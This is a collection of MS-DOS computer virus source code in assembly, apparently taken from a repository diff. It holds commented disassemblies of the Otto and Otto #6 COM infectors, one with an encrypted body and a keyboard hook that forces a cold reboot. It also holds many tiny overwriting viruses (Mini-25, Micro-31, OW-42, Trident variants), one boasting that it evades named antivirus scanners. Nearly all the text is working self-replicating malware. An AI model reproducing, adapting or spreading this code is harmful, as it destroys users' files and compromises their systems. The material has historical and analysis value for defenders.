;
; # Otto - Written by Otto Schtuck
; "8A 24 32 E0 88 24 46" Otto Schtuck [Otto] *NEW*
;
; It does no damage, does not hide it's file increase, but preserves the time
; & date stamp. It does not display any message. It is a transient COM infector
; that will infect one file in the current directory each time it is run.
;
;******************************************************************************
file_handle equ 9Eh ; File handle location
enc_bit equ 0FFh ; Encryption bit
code segment byte public
assume cs:code, ds:code
org 100h
;---
; Length of virus is 379 bytes...
;---
otto_vir proc far
start:
jmp short virus_entry ; Virus entry here
;---
; This hunk of shit here looks encrypted. I couldn't be bothered to go any
; further...
;---
crypt_1 db 90h
db 12h, 44h, 75h, 64h, 6Eh,0C1h
db 0Eh,0EDh, 70h, 05h, 34h, 5Dh
db 77h,0EBh, 35h,0D4h, 35h, 46h
db 34h, 68h, 7Ch,0A2h, 05h,0C1h
db 24h, 49h, 34h, 4Eh, 6Ch,0F1h
db 33h,0D5h, 20h, 5Ch, 7Bh, 78h
db 08h, 88h
crypt_2 db 69h
db 0C3h, 79h
db 08h, 25h, 33h, 3Ch
db 0B0h, 61h,0F2h, 11h, 6Ah, 5Dh
db 4Eh, 25h,0CBh, 2Fh,0D4h, 35h
db 5Ah, 7Ah, 6Bh, 71h,0EBh, 2Eh
db 0CEh, 31h, 44h, 19h, 00h, 1Fh
virus_entry:
cmp al,[bx+di-14h]
popf ; Pop flags
or ax,bp
add [bx+si],al
pop si
push si
sub si,108h
pop ax
sub ax,100h
mov ds:enc_bit,al
push si
mov cx,17Bh ; 379 bytes
add si,offset crypt_2
decrypt:
mov ah,[si]
xor ah,al
mov [si],ah
inc si
ror al,1 ; Rotate
loop decrypt
pop si
mov ax,enc_ax[si]
mov dh,enc_dh[si]
mov word ptr ds:[100h],ax
mov crypt_1,dh
lea dx,filespec ; Set filespec
xor cx,cx ; Search for normal files
mov ah,4Eh ; Search for first match
search_handler:
int 21h
jnc got_file
jmp quit
;---
; Otto! If you want to save some bytes, you don't have to open the file in
; order to get it's time. There are other ways around this...
;---
got_file:
mov dx,file_handle ; Get file handle from DTA
mov ax,3D02h ; Open file with read/write
int 21h
mov bx,ax ; Save file handle in BX
mov ax,5700h
int 21h ; Get time/date from file
cmp cl,3 ; Check timestamp
jne found_host ; Not equal to our timestamp?
mov ah,3Eh ; Then close the file and...
int 21h ;
mov ah,4Fh ; ...Search for next match
jmp short search_handler
found_host:
push cx
push dx
call move_ptr_start ; Move file pointer to start
lea dx,[si+three_bytes] ; Set buffer space for 3 bytes
mov cx,3 ; Set for 3 bytes
mov ah,3Fh ; Read in file
int 21h
xor cx,cx ; Set registers to...
xor dx,dx ; ...absolute end of file
mov ax,4202h
int 21h ; Move file point to end
mov word ptr ptr_loc[si],ax
sub ax,3
mov adj_ptr_loc[si],ax
call move_ptr_start
add ax,6
mov work[si],al
mov cx,word ptr ptr_loc[si]
;---
; Set buffer space at end of the file so that we don't waste space in the
; virus
;---
lea dx,[si+2A4h]
mov ah,3Fh ; Read in file
int 21h
push si
mov al,work[si]
add si,offset copyright+4
call encrypt
pop si
call move_ptr_start
mov cx,word ptr ptr_loc[si]
lea dx,[si+2A4h] ; Load effective addr
mov ah,40h ;
int 21h
jnc check_write ;
jmp short quit
check_write:
lea dx,[si+105h] ; Load effective addr
mov cx,24h
mov ah,40h ;
int 21h
push si
mov cx,17Bh ; 379 bytes
mov di,si
add di,offset copyright+1
add si,offset crypt_2
rep movsb ;
pop si
push si
mov al,work[si]
mov cx,17Bh ; 397 bytes
add si,offset copyright+1
call encrypt
pop si
mov cx,17Bh ; 397 bytes
lea dx,[si+2A4h] ; Set buffer to encrypted data
mov ah,40h ; Write out the virus to the
; file
int 21h
jc quit ; Jump if carry Set
call move_ptr_start ; Move file pointer to start
lea dx,[si+new_jump] ; Load DX with the new jump
mov ah,40h ;
mov cx,3 ; Set for 3 bytes
int 21h ; Write out the new jump
jc quit ; Jump if carry Set
pop dx
pop cx
mov cl,3 ; Set low order time with
; our identity byte
mov ax,5701h
int 21h ; Set file date/time
mov ah,3Eh ;
int 21h ; Close the file
;---
; Hmm. This routine looks a bit familiar... Maybe it was "borrowed" from the
; RAGE Virus we wrote...
;---
quit:
push si ; Save our SI
mov al,ds:enc_bit ; Load AL with value of the
; encryption bit
xor cx,cx ;
add cx,si ; Load CX with original 3 bytes
add cx,3 ; Adjust value for offset of
; virgin code
mov bp,103h ; Load BP with offset of 103h
; Where the virgin code starts
mov si,bp ; Copy this location to SI
call encrypt ; Encrypt this portion of the
; code
pop si ; Restore original SI
mov bp,offset start ; Load BP with offset of start
; of the virgin code
jmp bp ; Jump to start of virgin code
otto_vir endp
encrypt proc near
encryption:
mov ah,[si]
xor ah,al
mov [si],ah
inc si
ror al,1 ; Rotate
loop encryption
retn
encrypt endp
db 'OTTO VIRUS written by:OTTO '
enc_ax dw 4353h ; Encryption shit loaded in AX
enc_dh db 48h ; Encryption shit loaded in DH
db 54h
adj_ptr_loc dw 4355h ; Adjusted file pointer
; location (ptr_loc-3 bytes)
work db 4Bh ; A work buffer
ptr_loc db 20h ; File pointer location
copyright db 'COPYRIGHT MICROSHAFT INDUSTRIES '
db '1992 (tm.)PQR'
;---
; Everything below here appeared as a bunch of hex shit I had to convert...
;---
move_ptr_start proc near
mov ax,4200h ; Move fp to start (B80042)
xor cx,cx ; (33C9)
xor dx,dx ; (33D2)
int 21h ; Call DOS (CD21)
pop dx ; (5A)
pop cx ; (59)
pop ax ; (58)
ret ; (C3)
move_ptr_start endp
filespec db '*.COM',0 ; Location 295h
three_bytes db 0ebh,46h,90h ; jmp 148 (Location 29Bh)
new_jump db 0e9h,4ah,00h ; jmp 150 (Loc 29Eh)
push ax ; Loc 2A1h
dec bp ; Loc 2A2h
db 00h ; Loc 2A3h
code ends
end start

+337
View File
@@ -0,0 +1,337 @@
; Otto #6 Virus, By Youth Against McAfee
; Disassembly By The Attitude Adjuster of Virulent Graffiti for
; Infectious Diseases 3 and some other uses...
; Assemble with: TASM /m2 otto5.asm for a byte for byte matchup
; TLINK /t otto5.obj
; The assembled code will NOT execute... a big thanks to YAM for that one! The
; only workaround I got is to trace thru til the mov [00FFh], al, and just
; move the ip ahead to startencrypt!
.model tiny
.code
org 100h
start:
db 0e9h, 02, 00 ; jmp near virusentry
nop ; they had to be here
nop ; in the original
virusentry:
call getdelta ; get delta ofs
getdelta:
pop si
push si
sub si,offset getdelta ; sub original ofs
pop ax ; delta in ax
sub ax,100h
mov ds:[00FFh],al ; ds:00FFh == al
push si ; save delta
mov cx,260h ; ieterations
add si,offset startencrypt
cryptloop:
xor [si],al ; xor
inc si
rol al,1 ; rotate
loop cryptloop ; loop if cx > 0
pop si ; delta in si
startencrypt:
mov ax,word ptr ds:[first3+si] ; restore first
mov dh,byte ptr ds:[first3+si+2] ; 3 bytes
mov word ptr ds:[100h],ax
mov byte ptr ds:[102h],dh
lea dx,[si+file] ; find *.COM
xor cx,cx
mov ah,4Eh
findfirstnext:
int 21h
jnc checkinfected ; carry?
jmp takeithome ; no more files
checkinfected: ; check file
mov dx,offset 9Eh ; filename in default
mov ax,3D02h ; dta
int 21h ; open file r/w
mov bx,ax ; handle in BX
mov ax,5700h ; get file date
int 21h
cmp cl,3 ; cl = 3?
jne infectitthen ; nope
mov ah,3Eh ; infected, close
int 21h
mov ah,4Fh ; find next *.COM
jmp short findfirstnext ; again
infectitthen: ; infect the file
push cx ; push time
push dx ; push date
call lseekstart ; lseek beginning
lea dx,[si+first3] ; buffer at first3
mov cx,3 ; read 3 bytes
mov ah,3Fh
int 21h
xor cx,cx ; lseek the end
xor dx,dx ; fileside DX:AX
mov ax,4202h
int 21h
; 4D1h
mov word ptr ds:[fsize+si],ax ; save fsize
sub ax,3 ; calculate jump
mov word ptr ds:[fsize2+si],ax
call lseekstart
add ax,6 ; fsize+3
mov byte ptr ds:[lob+si],al ; lob of fsize+3
mov cx,word ptr ds:[fsize+si] ; size of file
lea dx,[si+heap] ; point at buffer
mov ah,3Fh
int 21h ; read
push si ; push delta
mov al,byte ptr ds:[lob+si] ; lod of fsize+3
add si,offset ds:[heap+3] ; point at code
call encrypt ; encrypt original
pop si ; pop delta
call lseekstart ; lseek beginning
mov cx,word ptr ds:[fsize+si] ; fsize
lea dx,[si+heap] ; buffer at heap
mov ah,40h ; write file
int 21h
jnc finishinfect ; error (attributes)
jmp short takeithome ; yes
finishinfect:
lea dx,[si+virusentry] ; write encrypter
mov cx,startencrypt-virusentry ; to file
mov ah,40h
int 21h
push si ; push delta
mov cx,heap-startencrypt ; virus length-crypt
; mov di,si ; delta in di
db 89h, 0F7h ; alternate encoding
add di,offset ds:[heap] ; point at heap
add si,offset ds:[startencrypt] ; point at virus
rep movsb ; copy code to heap
pop si ; pop delta
push si ; push delta
mov al,byte ptr ds:[lob+si] ; lob of fsize+3
mov cx,heap-startencrypt ; virus length
add si,offset ds:[heap] ; buffer at heap
call encrypt ; encrypt heap
pop si ; pop delta
mov cx,heap-startencrypt ; virus length
lea dx,[si+heap] ; buffer at heap
mov ah,40h ; write virus
int 21h
jc takeithome ; error?
call lseekstart
lea dx,[si+jump] ; buffer at jump
mov ah,40h ; write jump
mov cx,3
int 21h
jc takeithome ; error?
pop dx ; pop date
pop cx ; pop time
mov cl,3 ; set infected flag
mov ax,5701h ; set time
int 21h
mov ah,3Eh ; close file
int 21h
takeithome:
push si ; push delta
mov al, byte ptr ds:[00FFh] ; saved xor byte
xor cx,cx
; add cx,si ; the pricks use
db 01, 0f1h ; alternate encoding
add cx,3 ; ieterations in cx
mov bp,103h
mov si,bp ; unencrypt old code
call encrypt
pop si ; pop delta
mov bp,100h ; where to RET to
mov ax,0B0Bh ; RuThereCall
int 9
cmp ax,0BEEFh ; if beefy, it's
je skipinstall ; installed
xor ax, ax
mov ds, ax ; interrupt table
lds bx, dword ptr ds:[9*4] ; Int 9 -> DS:BX
push bp ; push ret addr
mov bp,offset ds:[old9] ; JMP FAR PTR
mov cs:[bp+si+1],bx ; offset
mov cs:[bp+si+3],ds ; segment
pop bp ; pop ret addr
mov bx,es
dec bx ; our MCB paragraph
mov ds,bx
sub word ptr ds:[0003],80h ; allow for us to get
; some memory
mov ax, word ptr ds:[0012h] ; 1st unused segment
sub ax,80h
mov word ptr ds:[0012h],ax ; replace valu
mov es,ax ; es = our new seg
push cs ; ds = cs
pop ds
xor di,di ; es:0000 = dest.
; mov bx,si ; more alternate
db 89h, 0f3h ; encoding!!
lea si,[bx+our9] ; buffer at our9
mov cx,200 ; more than enough
rep movsb ; copy 200 bytes
mov ds,cx ; cx = 0000
mov word ptr ds:[9*4],0 ; offset (int 9)
mov word ptr ds:[9*4+2],es ; segment (int 9)
skipinstall:
push cs ; restore segments
push cs
pop ds
pop es
push bp ; return to 100h
ret
encrypt: ; encrypt
xor [si],al ; xor
inc si
rol al,1 ; rotate left
loop encrypt ; Loop if cx > 0
ret
db 'OTTO6 VIRUS, <<',0E9h,53h,'>>, YAM, '
db 'COPYRIGHT MICROSHAFT INDUSTRIES 1992 (tm.)'
lseekstart:
push ax
push cx
push dx
mov ax, 4200h ; lseek beginning
xor cx,cx
xor dx,dx
int 21h
pop dx
pop cx
pop ax
ret
our9: ; our int9 handler
cmp ax, 0B0Bh
jnz NotRuThere ; not an ruthere
mov ax, 0BEEFh
IRet ; int return
NotRuThere:
push ax ; save registers
push bx
push ds
xor ax,ax ; BIOS segment
mov ds,ax
in al,60h ; get keyboard input
mov bl, byte ptr ds:[0417h] ; get shift status
test bl,08 ; alt pressed?
jz removeregistersandleave ; no
test bl,04 ; ctrl pressed?
jz whyisthishere ; no
cmp al, 53h ; delete?
jnz removeregistersandleave ; nope!
and bl,0F3h ; mask off bits
mov byte ptr ds:[0417h],bl ; place in bios
jmp onwardbuttheads ; go on
whyisthishere:
cmp al,4Ah ; why is this here?
jne removeregistersandleave
removeregistersandleave:
pop ds ; remove registers
pop bx
pop ax
; jmp returntoold9 ; more wierd
db 0e9h, 20h, 00 ; encoding!
onwardbuttheads:
push cs ; ds = cs
pop ds
mov ax,3 ; 80x25 text mode
int 10h
mov ah,2 ; set cpos
mov bh,0
mov dx,0A14h ; 10,20
int 10h
mov si,yamlogo-our9 ; point to logo
pointlessloop:
loop pointlessloop
lodsb ; load string byte
cmp al,0 ; end of string?
je coldbootus ; yes
mov ah,0Eh ; display char in al
int 10h
jmp short pointlessloop
returntoold9:
old9 db 0EAh ; JMP FAR PTR
dd 00000000 ; Int 9h
yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!'
db ' ',0
coldbootus:
mov dx,28h
mov ds,dx ; DS = 0028h
mov word ptr ds:[0072h],0 ; DS:0072h=0
; the above does nothing, as the byte they are looking to modify is
; the warm-boot status byte, at 0040:0072h... duh...
db 0EAh ; JMP FAR PTR
db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector
file db '*.COM',0 ; search wildcard
first3 db 0CDh, 20h, 00h ; buffered 1st 3
jump db 0E9h ; jmp near
fsize2 db 50h, 01h
lob db 56h ; lob of fsize+3
fsize db 53h, 01h ; filesize
heap:
end start
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,13 @@
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
On2: Int 21h
Mov Dl,Length
FileSpec Db '*.*',0
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main
@@ -0,0 +1,12 @@
Lea Dx,Fs
Mov Ah,78
Int 33
Mov Dx,9eh
Mov Ah,61
o1: Int 33
Xchg Ax,Bx
Mov Dl,27
FS Db '*.*',0
Xchg Cx,Dx
Mov Ah,64
Jmp o1
@@ -0,0 +1,13 @@
Main: Lea Dx,FileSpec
Mov Ah,4eh
Int 21h
Mov Dx,9eh
Mov Ah,3ch
Int 21h
Lea Dx,Main
Mov Bh,40h
Mov Cl,Length
Xchg Ax,Bx
Int 21h
FileSpec Db '*.*',0
Length Equ $-Main
@@ -0,0 +1,13 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
FileSpec Db '*.*',0
Length Equ $-Main
@@ -0,0 +1,14 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
On1: Ret
FileSpec Db '*.*',0
Length Equ $-Main
@@ -0,0 +1,17 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ah,3dh
inc ax
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
Mov Ah,4fh
On1: Jmp On2
FileSpec Db '*.COM',0
Length Equ $-Main
@@ -0,0 +1,20 @@
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc Ende
Mov Ax,3d01h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Length
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On1
FileSpec Db '*.com',0
Ende: Ret
Length Equ $-Main
@@ -0,0 +1,19 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov bh,40h
Mov Cl,Length
Lea Dx,Main
Xchg Ax,Bx
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On2
On1: Ret
FileSpec Db '*.COM',0
Length Equ $-Main
@@ -0,0 +1,28 @@
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc On2
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Ah
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On1
FileSpec Db '*.com',0
Db 'Trident'
On2: Mov Ah,2ch
Int 21h
Cmp Dl,10
Ja Ende
Mov Al,2
Xor Dx,Dx
Int 25h
Ende: Ret
Length Equ $-Main
+28
View File
@@ -0,0 +1,28 @@
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc On2
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Ah
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On1
FileSpec Db '*.com',0
Db 'Trident'
On2: Mov Ah,2ch
Int 21h
Cmp Dl,10
Ja Ende
Mov Al,2
Xor Dx,Dx
Int 25h
Ende: Ret
Length Equ $-Main
+20
View File
@@ -0,0 +1,20 @@
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc Ende
Mov Ax,3d01h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Length
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On1
FileSpec Db '*.com',0
Ende: Ret
Length Equ $-Main
@@ -0,0 +1,20 @@
;
; Mini-25
;
; Overwrites the first file in a directory
FNAM Equ 09eh
Db '*.*',0
Main: Mov Ah,4eh
Mov Dx,Cx
Int 21h
Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main
+19
View File
@@ -0,0 +1,19 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov bh,40h
Mov Cl,Length
Lea Dx,Main
Xchg Ax,Bx
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On2
On1: Ret
FileSpec Db '*.COM',0
Length Equ $-Main
+17
View File
@@ -0,0 +1,17 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ah,3dh
inc ax
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
Mov Ah,4fh
On1: Jmp On2
FileSpec Db '*.COM',0
Length Equ $-Main
+14
View File
@@ -0,0 +1,14 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
On1: Ret
FileSpec Db '*.*',0
Length Equ $-Main
+13
View File
@@ -0,0 +1,13 @@
Main: Lea Dx,FileSpec
Mov Ah,4eh
Int 21h
Mov Dx,9eh
Mov Ah,3ch
Int 21h
Lea Dx,Main
Mov Bh,40h
Mov Cl,Length
Xchg Ax,Bx
Int 21h
FileSpec Db '*.*',0
Length Equ $-Main
+13
View File
@@ -0,0 +1,13 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
FileSpec Db '*.*',0
Length Equ $-Main
+13
View File
@@ -0,0 +1,13 @@
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
On2: Int 21h
Mov Dl,Length
FileSpec Db '*.*',0
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main
+20
View File
@@ -0,0 +1,20 @@
;
; Mini-25
;
; Overwrites the first file in a directory
FNAM Equ 09eh
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
FileSpec Db '*.*',0
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main
+26
View File
@@ -0,0 +1,26 @@
;
; Micro-31
;
; Infects as many files as there are handles aveable. It creates 158 byte
; file containing a replicating copy of the virus. The effective program
; length however is only 31 bytes. It can't be detected by Scan 99, TbScan
; and Gobbler II.
;
FNAM Equ 09eh
Main: Mov Ah,4eh
Seek: Lea Dx,FileSpec
Xor Cx,Cx
Int 21h
Do: Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
FileSpec Db '*.*',0
Xchg Dx,Cx
Mov Bh,40h
Xchg Ax,Bx
Int 21h
Mov Ah,4fh
Jmp Seek
Length Equ $-Main
@@ -0,0 +1,39 @@
;OW-42 virus - TridenT group, edited for Crypt Newsletter 13
;
CODE SEGMENT
ASSUME CS:CODE, DS:CODE, ES:CODE, SS:NOTHING
org 0100h
start: mov ah,4Eh ; find first file
recurse:
mov dx,0123h ; matching filemask, "*.*"
int 21h
db 72h,20h ;hand-coded jump on carry to
;exit if no more files found
mov ax,3D01h
mov dx,009Eh
int 21h
mov bh,40h
mov dx,0100h ;starting from beginning
xchg ax,bx ;put handle in ax
mov cl,2Ah ;to write: 42 bytes of virus
int 21h ;write the virus
mov ah,3Eh ;close the file
int 21h
mov ah,4Fh ;find next file
jmp Short recurse
db "*.COM" ;file_mask
dw 0C300h ;hand-coded return
CODE ENDS
END START